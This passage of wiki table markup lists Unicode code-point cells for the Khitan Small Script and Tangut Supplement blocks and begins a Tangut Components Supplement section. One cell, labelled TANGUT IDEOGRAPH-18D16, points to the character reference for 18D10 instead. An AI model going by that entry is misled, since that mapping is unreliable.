|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C20|&amp;#x18c20;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C21|&amp;#x18c21;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C22|&amp;#x18c22;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C23|&amp;#x18c23;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C24|&amp;#x18c24;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C25|&amp;#x18c25;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C26|&amp;#x18c26;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C27|&amp;#x18c27;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C28|&amp;#x18c28;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C29|&amp;#x18c29;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2A|&amp;#x18c2a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2B|&amp;#x18c2b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2C|&amp;#x18c2c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2D|&amp;#x18c2d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2E|&amp;#x18c2e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2F|&amp;#x18c2f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C3x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C30|&amp;#x18c30;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C31|&amp;#x18c31;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C32|&amp;#x18c32;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C33|&amp;#x18c33;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C34|&amp;#x18c34;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C35|&amp;#x18c35;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C36|&amp;#x18c36;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C37|&amp;#x18c37;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C38|&amp;#x18c38;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C39|&amp;#x18c39;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3A|&amp;#x18c3a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3B|&amp;#x18c3b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3C|&amp;#x18c3c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3D|&amp;#x18c3d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3E|&amp;#x18c3e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3F|&amp;#x18c3f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C4x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C40|&amp;#x18c40;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C41|&amp;#x18c41;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C42|&amp;#x18c42;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C43|&amp;#x18c43;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C44|&amp;#x18c44;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C45|&amp;#x18c45;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C46|&amp;#x18c46;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C47|&amp;#x18c47;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C48|&amp;#x18c48;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C49|&amp;#x18c49;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4A|&amp;#x18c4a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4B|&amp;#x18c4b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4C|&amp;#x18c4c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4D|&amp;#x18c4d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4E|&amp;#x18c4e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4F|&amp;#x18c4f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C5x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C50|&amp;#x18c50;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C51|&amp;#x18c51;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C52|&amp;#x18c52;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C53|&amp;#x18c53;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C54|&amp;#x18c54;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C55|&amp;#x18c55;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C56|&amp;#x18c56;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C57|&amp;#x18c57;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C58|&amp;#x18c58;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C59|&amp;#x18c59;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5A|&amp;#x18c5a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5B|&amp;#x18c5b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5C|&amp;#x18c5c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5D|&amp;#x18c5d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5E|&amp;#x18c5e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5F|&amp;#x18c5f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C6x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C60|&amp;#x18c60;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C61|&amp;#x18c61;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C62|&amp;#x18c62;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C63|&amp;#x18c63;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C64|&amp;#x18c64;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C65|&amp;#x18c65;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C66|&amp;#x18c66;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C67|&amp;#x18c67;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C68|&amp;#x18c68;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C69|&amp;#x18c69;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6A|&amp;#x18c6a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6B|&amp;#x18c6b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6C|&amp;#x18c6c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6D|&amp;#x18c6d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6E|&amp;#x18c6e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6F|&amp;#x18c6f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C7x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C70|&amp;#x18c70;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C71|&amp;#x18c71;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C72|&amp;#x18c72;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C73|&amp;#x18c73;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C74|&amp;#x18c74;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C75|&amp;#x18c75;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C76|&amp;#x18c76;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C77|&amp;#x18c77;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C78|&amp;#x18c78;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C79|&amp;#x18c79;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7A|&amp;#x18c7a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7B|&amp;#x18c7b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7C|&amp;#x18c7c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7D|&amp;#x18c7d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7E|&amp;#x18c7e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7F|&amp;#x18c7f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C8x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C80|&amp;#x18c80;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C81|&amp;#x18c81;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C82|&amp;#x18c82;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C83|&amp;#x18c83;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C84|&amp;#x18c84;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C85|&amp;#x18c85;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C86|&amp;#x18c86;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C87|&amp;#x18c87;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C88|&amp;#x18c88;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C89|&amp;#x18c89;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8A|&amp;#x18c8a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8B|&amp;#x18c8b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8C|&amp;#x18c8c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8D|&amp;#x18c8d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8E|&amp;#x18c8e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8F|&amp;#x18c8f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C9x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C90|&amp;#x18c90;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C91|&amp;#x18c91;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C92|&amp;#x18c92;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C93|&amp;#x18c93;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C94|&amp;#x18c94;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C95|&amp;#x18c95;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C96|&amp;#x18c96;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C97|&amp;#x18c97;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C98|&amp;#x18c98;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C99|&amp;#x18c99;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9A|&amp;#x18c9a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9B|&amp;#x18c9b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9C|&amp;#x18c9c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9D|&amp;#x18c9d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9E|&amp;#x18c9e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9F|&amp;#x18c9f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CAx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA0|&amp;#x18ca0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA1|&amp;#x18ca1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA2|&amp;#x18ca2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA3|&amp;#x18ca3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA4|&amp;#x18ca4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA5|&amp;#x18ca5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA6|&amp;#x18ca6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA7|&amp;#x18ca7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA8|&amp;#x18ca8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA9|&amp;#x18ca9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAA|&amp;#x18caa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAB|&amp;#x18cab;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAC|&amp;#x18cac;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAD|&amp;#x18cad;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAE|&amp;#x18cae;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAF|&amp;#x18caf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CBx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB0|&amp;#x18cb0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB1|&amp;#x18cb1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB2|&amp;#x18cb2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB3|&amp;#x18cb3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB4|&amp;#x18cb4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB5|&amp;#x18cb5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB6|&amp;#x18cb6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB7|&amp;#x18cb7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB8|&amp;#x18cb8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB9|&amp;#x18cb9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBA|&amp;#x18cba;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBB|&amp;#x18cbb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBC|&amp;#x18cbc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBD|&amp;#x18cbd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBE|&amp;#x18cbe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBF|&amp;#x18cbf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CCx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC0|&amp;#x18cc0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC1|&amp;#x18cc1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC2|&amp;#x18cc2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC3|&amp;#x18cc3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC4|&amp;#x18cc4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC5|&amp;#x18cc5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC6|&amp;#x18cc6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC7|&amp;#x18cc7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC8|&amp;#x18cc8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC9|&amp;#x18cc9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCA|&amp;#x18cca;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCB|&amp;#x18ccb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCC|&amp;#x18ccc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCD|&amp;#x18ccd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCE|&amp;#x18cce;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCF|&amp;#x18ccf;}}
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CDx
|style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD0|&amp;#x18cd0;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD1|&amp;#x18cd1;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD2|&amp;#x18cd2;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD3|&amp;#x18cd3;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD4|&amp;#x18cd4;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD5|&amp;#x18cd5;}}||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CEx
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CFx
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||style=&quot;background:#edc3b4;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CFF|&amp;#x18cff;}}
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Supplement'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D0x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D00|&amp;#x18d00;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D01|&amp;#x18d01;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D02|&amp;#x18d02;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D03|&amp;#x18d03;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D04|&amp;#x18d04;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D05|&amp;#x18d05;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D06|&amp;#x18d06;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D07|&amp;#x18d07;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D08|&amp;#x18d08;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D09|&amp;#x18d09;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0A|&amp;#x18d0a;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0B|&amp;#x18d0b;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0C|&amp;#x18d0c;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0D|&amp;#x18d0d;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0E|&amp;#x18d0e;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0F|&amp;#x18d0f;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D1x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D10|&amp;#x18d10;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D11|&amp;#x18d11;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D12|&amp;#x18d12;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D13|&amp;#x18d13;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D14|&amp;#x18d14;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D15|&amp;#x18d15;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D16|&amp;#x18d10;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D17|&amp;#x18d17;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D18|&amp;#x18d18;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D19|&amp;#x18d19;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1A|&amp;#x18d1a;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1B|&amp;#x18d1b;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1C|&amp;#x18d1c;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1D|&amp;#x18d1d;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1E|&amp;#x18d1e;}}||style=&quot;background:#c8a36f;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1F|&amp;#x18d1f;}}
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D2x
|style=&quot;background:#c8a36f;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D20|&amp;#x18d20;}}||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D3x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D4x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D5x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D6x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D7x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Components Supplement'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D8x
